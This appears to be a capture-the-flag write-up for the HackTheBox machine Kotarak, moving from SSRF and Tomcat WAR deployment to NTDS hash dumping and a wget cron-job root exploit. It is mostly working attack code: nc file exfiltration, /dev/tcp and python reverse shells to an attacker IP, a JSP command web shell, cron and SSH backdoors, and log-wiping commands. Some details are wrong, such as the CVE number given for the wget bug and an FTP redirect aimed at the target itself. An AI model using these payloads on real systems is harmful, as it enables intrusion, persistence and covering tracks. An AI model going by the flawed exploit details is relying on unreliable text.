Post

HackTheBox Kotarak

Writeup for HackTheBox Kotarak

HackTheBox Kotarak

Machine Synopsis

Key Exploitation Techniques:

  • Server-Side Request Forgery (SSRF) for internal port scanning and information disclosure
  • Tomcat Manager authentication and WAR file deployment for RCE
  • NTDS.DIT and SYSTEM hive exfiltration for hash dumping
  • NTLM hash cracking for credential recovery
  • wget Arbitrary File Upload / RCE (CVE-2017-1000253) via cronjob exploitation

Reconnaissance & Enumeration

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -p- --min-rate 10000 10.10.10.55
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
8009/tcp  open  ajp13
8080/tcp  open  http-proxy
60000/tcp open  unknown

$ nmap -p 22,8009,8080,60000 -sC -sV 10.10.10.55
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp  open  http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5 - Error report
|_http-favicon: Apache Tomcat
60000/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title:         Kotarak Web Hosting        
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service Analysis

Key Services:

  • Apache Tomcat 8.5.5 (port 8080)
  • Apache Jserv AJP (port 8009)
  • Apache HTTPD (port 60000) - “Kotarak Web Hosting”

Web Application Enumeration

manager_html

1
2
3
4
5
6
7
8
9
# Tomcat enumeration
$ feroxbuster -u 'http://10.10.10.55:8080'
302      GET        0l       0w        0c http://10.10.10.55:8080/manager => http://10.10.10.55:8080/manager/
401      GET       63l     289w     2473c http://10.10.10.55:8080/manager/html

# Web hosting service enumeration
$ feroxbuster -u http://10.10.10.55:60000 -x php
200      GET        2l       0w        2c http://10.10.10.55:60000/url.php
200      GET     1110l    5668w    92244c http://10.10.10.55:60000/info.php

Key Findings:

  • Tomcat Manager requires authentication
  • url.php endpoint on port 60000
  • info.php reveals file_uploads is enabled

Exploitation

SSRF Discovery and Exploitation

webpage_port_60000

Initial SSRF Testing

The url.php endpoint accepts a path parameter, testing for SSRF:

1
2
3
4
5
6
7
8
# Test SSRF with attacker server
$ python3 -m http.server 80

# Submit request to url.php
$ curl "http://10.10.10.55:60000/url.php?path=http://10.10.16.7"

# Observe incoming request
10.10.10.55 - - [23/Jan/2025 13:21:42] "GET / HTTP/1.1" 200 -

SSRF Confirmed: Server makes outbound requests to specified URLs.

Internal Port Scanning via SSRF

1
2
3
4
# Use wfuzz for localhost port scanning
$ wfuzz -c -z range,1-65535 --hl=2 'http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ'
000000888:   200        78 L     265 W      3955 Ch     "888"
000000320:   200        22 L      58 W       506 Ch     "320"

webpage_port_320

webpage_port_888

Discovery: Internal services on ports 320 and 888.

Internal Service Analysis

1
2
3
4
5
6
# Examine port 888 service
$ curl "http://10.10.10.55:60000/url.php?path=http://localhost:888"
# Response shows "Simple File Viewer" with 'doc' parameter

# Test file inclusion capabilities
$ curl "http://10.10.10.55:60000/url.php?path=http://localhost:888?doc=backup"

Tomcat Credentials Discovery

1
2
3
4
5
6
7
8
9
10
# Use SSRF to access Tomcat configuration
$ curl "http://10.10.10.55:60000/url.php?path=http://localhost:888?doc=../conf/tomcat-users.xml"

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
    <user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>
</tomcat-users>

Tomcat Credentials: admin:3@g01PdhB!

Tomcat Manager RCE

WAR Payload Creation

1
2
3
4
5
6
7
8
9
10
11
12
13
# Create Java meterpreter WAR payload
$ msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.7 LPORT=443 -f war -o shell.war
Payload size: 13022 bytes
Final size of war file: 13022 bytes
Saved as: shell.war

# Setup Metasploit handler
$ msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload java/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.16.7
msf6 exploit(multi/handler) > set lport 443
msf6 exploit(multi/handler) > run

WAR Deployment and Execution

  1. Login to Tomcat Manager: http://10.10.10.55:8080/manager/html with credentials: admin:3@g01PdhB!

    tomcat_manager_login

  2. Deploy shell.war via web interface

    tomcat_manager_applications

  3. Access deployed application: http://10.10.10.55:8080/shell/

1
2
3
4
5
6
7
8
# Reverse shell received
[*] Command shell session 1 opened (10.10.16.7:443 -> 10.10.10.55:53450)
whoami
tomcat

python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@kotarak-dmz:/$ whoami
tomcat

File System Enumeration

1
2
3
4
5
6
7
8
9
tomcat@kotarak-dmz:/$ cd /home
tomcat@kotarak-dmz:/home$ ls
atanas  tomcat

tomcat@kotarak-dmz:/home$ find . -type f -name "*.dit" 2>/dev/null
./tomcat/to_archive/pentest_data/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit

tomcat@kotarak-dmz:/home$ find . -type f -name "*system*" 2>/dev/null
./tomcat/to_archive/pentest_data/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

Critical Discovery: NTDS.DIT and SYSTEM hive from Windows domain penetration test.

File Exfiltration

1
2
3
4
5
6
7
8
9
# Setup netcat listeners for file transfer
$ nc -nlvp 8888 > SYSTEM
$ nc -nlvp 8889 > ntds.dit

# Transfer SYSTEM hive
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.16.7 8888 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

# Transfer NTDS.DIT
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.16.7 8889 < 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit

Privilege Escalation

NTDS.DIT Hash Extraction

1
2
3
4
5
6
7
8
9
# Extract NTLM hashes using impacket-secretsdump
$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c1722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Hash Cracking

1
2
3
4
5
6
7
8
9
10
11
12
# Crack hashes using CrackStation or hashcat
# Administrator: e64fe0f24ba2489c05e64354d74ebd11 -> f16tomcat!
# atanas: 2b576acbe6bcfda7294d6bd18041b8fe -> Password123!

# Test cracked passwords
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ su atanas
Password: f16tomcat!

atanas@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ whoami
atanas
atanas@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ cat /home/atanas/user.txt
93f844f50491ef797c9c1b601b4bece8

Root Access via wget Exploitation

Log Analysis

1
2
3
atanas@kotarak-dmz:~$ cat /root/app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [21/Jul/2017:22:17:53 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

Key Finding: wget 1.16 requests /archive.tar.gz periodically (cronjob).

wget Vulnerability Exploitation (CVE-2017-1000253)

This exploits wget’s FTP redirect functionality to write arbitrary files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Create .wgetrc configuration
atanas@kotarak-dmz:~$ mkdir ftptest
atanas@kotarak-dmz:~$ cd ftptest
atanas@kotarak-dmz:~/ftptest$ cat <<_EOF_>.wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
_EOF_

# Setup FTP server on attacker machine
$ sudo pip install pyftpdlib
$ python -m pyftpdlib -p21 -w
[I 13-01-01 12:00:00] >>> starting FTP server on 0.0.0.0:21, pid=1234 <<<
[I 13-01-01 12:00:00] concurrency model: async
[I 13-01-01 12:00:00] masquerade (NAT) address: None
[I 13-01-01 12:00:00] passive ports: None

Exploit Script Deployment

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# Create wget exploit script
$ cat > wget-exploit.py << 'EOF'
#!/usr/bin/env python

import socket

# Exploit configuration
HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.10.55'  # Target IP
FTP_PORT = 21

ROOT_CRON = "* * * * * root bash -c 'bash -i >& /dev/tcp/10.10.16.7/443 0>&1' \n"

class HTTPServer:
    def __init__(self, ip, port):
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.bind((ip, port))
        
    def serve(self):
        self.socket.listen(1)
        print(f"[+] HTTP Server listening on {HTTP_LISTEN_IP}:{HTTP_LISTEN_PORT}")
        
        while True:
            client, addr = self.socket.accept()
            request = client.recv(1024).decode()
            
            if "/archive.tar.gz" in request:
                print("[+] Got request for /archive.tar.gz")
                
                # Redirect to FTP server
                response = f"""HTTP/1.1 301 Moved Permanently\r
Location: ftp://{FTP_HOST}:{FTP_PORT}/.wgetrc\r
Content-Length: 0\r
\r
"""
                client.send(response.encode())
                
            client.close()

if __name__ == "__main__":
    server = HTTPServer(HTTP_LISTEN_IP, HTTP_LISTEN_PORT)
    server.serve()
EOF

# Run exploit script
$ python3 wget-exploit.py

FTP Server Configuration

1
2
3
4
5
6
# In another terminal, setup FTP server to serve malicious content
$ python -m pyftpdlib -p21 -w

# When wget connects to FTP, it will:
# 1. Upload /etc/shadow (due to post_file setting)
# 2. Download .wgetrc content and save as /etc/cron.d/wget-root-shell

Root Shell Acquisition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Setup netcat listener for root shell
$ nc -nlvp 443
listening on [any] 443 ...

# Wait for cronjob execution and exploit trigger
# The wget cronjob will:
# 1. Request /archive.tar.gz from HTTP server
# 2. Get redirected to FTP server
# 3. Execute malicious .wgetrc configuration
# 4. Create cron job that executes reverse shell as root

connect to [10.10.16.7] from (UNKNOWN) [10.10.10.55] 59962
bash: cannot set terminal process group (787): Inappropriate ioctl for device
bash: no job control in this shell
root@kotarak-int:~# whoami
root
root@kotarak-int:~# cat /root/root.txt
950d1425795dfd38272c93ccbb63ae2c

Post-Exploitation Techniques

Persistence Methods

SSH Key Persistence

1
2
3
4
5
6
7
# Generate SSH key pair
$ ssh-keygen -t rsa -b 4096 -f kotarak_persistence

# Install as root
# mkdir -p /root/.ssh
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> /root/.ssh/authorized_keys
# chmod 600 /root/.ssh/authorized_keys

Tomcat Backdoor Maintenance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Create persistent Tomcat backdoor
# cat > /opt/tomcat/webapps/system/index.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = reader.readLine()) != null) {
        out.println(line + "<br>");
    }
}
%>
EOF

# Access via: http://10.10.10.55:8080/system/index.jsp?cmd=id

Cron Backdoor Enhancement

1
2
3
4
# Create more sophisticated backdoor
# cat > /etc/cron.d/system-update << 'EOF'
*/30 * * * * root /usr/bin/python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.7',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('/bin/bash')"
EOF

Defense Evasion

Log Sanitization

1
2
3
4
5
6
7
8
9
10
11
12
# Clear Tomcat logs
# > /opt/tomcat/logs/catalina.out
# > /opt/tomcat/logs/access_log.*

# Clear system logs
# > /var/log/auth.log
# > /var/log/syslog
# > /root/app.log

# Clear wget cache and history
# rm -rf /root/.wget-hsts
# > /var/log/wget.log

Artifact Cleanup

1
2
3
4
# Remove exploitation evidence
# rm /etc/cron.d/wget-root-shell
# rm -rf /home/atanas/ftptest/
# rm /tmp/ntds.dit /tmp/SYSTEM

Lateral Movement Preparation

Network Discovery

1
2
3
4
5
6
7
# Discover internal networks via SSRF
# Use url.php to scan internal subnets
# for i in {1..254}; do curl "http://10.10.10.55:60000/url.php?path=http://192.168.1.$i"; done

# Tomcat network enumeration
# ss -tlnp
# netstat -rn

Credential Harvesting

1
2
3
4
5
6
7
8
# Extract additional Windows credentials from NTDS
# impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -history

# Search for Tomcat configuration files
# find /opt/tomcat -name "*.xml" -exec grep -l "password" {} \;

# Extract shadow file for offline cracking
# cp /etc/shadow /tmp/shadow.backup

Service Enumeration

1
2
3
4
5
6
7
8
# Identify additional services via SSRF
# wfuzz -c -z range,1-10000 --hl=2 'http://10.10.10.55:60000/url.php?path=http://127.0.0.1:FUZZ'

# Check for database services
# ps aux | grep -E "(mysql|postgres|mongo)"

# Examine Tomcat deployed applications
# ls -la /opt/tomcat/webapps/

Alternative Exploitation Methods

Direct AJP Exploitation

1
2
3
4
5
6
# Exploit AJP protocol on port 8009
$ git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487
$ python ajpShooter.py http://10.10.10.55:8009/ 8009 /WEB-INF/web.xml read

# Read Tomcat configuration via AJP
$ python ajpShooter.py http://10.10.10.55:8009/ 8009 /WEB-INF/classes/config.properties read

Alternative SSRF Payloads

1
2
3
4
5
6
# File protocol exploitation
$ curl "http://10.10.10.55:60000/url.php?path=file:///etc/passwd"

# Internal service discovery with different protocols
$ curl "http://10.10.10.55:60000/url.php?path=ftp://localhost:21"
$ curl "http://10.10.10.55:60000/url.php?path=gopher://localhost:8080/GET%20/%20HTTP/1.1"

Alternative Privilege Escalation

Docker Escape Analysis

1
2
3
# Check for Docker environment
atanas@kotarak-dmz:~$ ls -la /.dockerenv 2>/dev/null
atanas@kotarak-dmz:~$ cat /proc/1/cgroup | grep docker

Kernel Exploitation

1
2
3
4
5
6
# Check kernel version
atanas@kotarak-dmz:~$ uname -a
Linux kotarak-dmz 4.4.0-81-generic #104-Ubuntu SMP Wed Jun 14 08:15:00 UTC 2017

# Search for applicable exploits
$ searchsploit linux kernel 4.4 | grep -i privilege

SUID Binary Analysis

1
2
3
4
5
# Find SUID binaries
atanas@kotarak-dmz:~$ find / -perm -4000 -type f 2>/dev/null

# Check for custom SUID binaries
atanas@kotarak-dmz:~$ ls -la /usr/local/bin/

Advanced NTDS Analysis

1
2
3
4
5
6
7
8
# Extract Kerberos keys
$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -outputfile kotarak_hashes

# Analyze domain structure
$ python /usr/share/doc/python3-impacket/examples/GetADUsers.py -all domain.local/user:password@dc_ip

# Extract computer accounts
$ grep '\$' kotarak_hashes.ntds

This post is licensed under CC BY 4.0 by the author.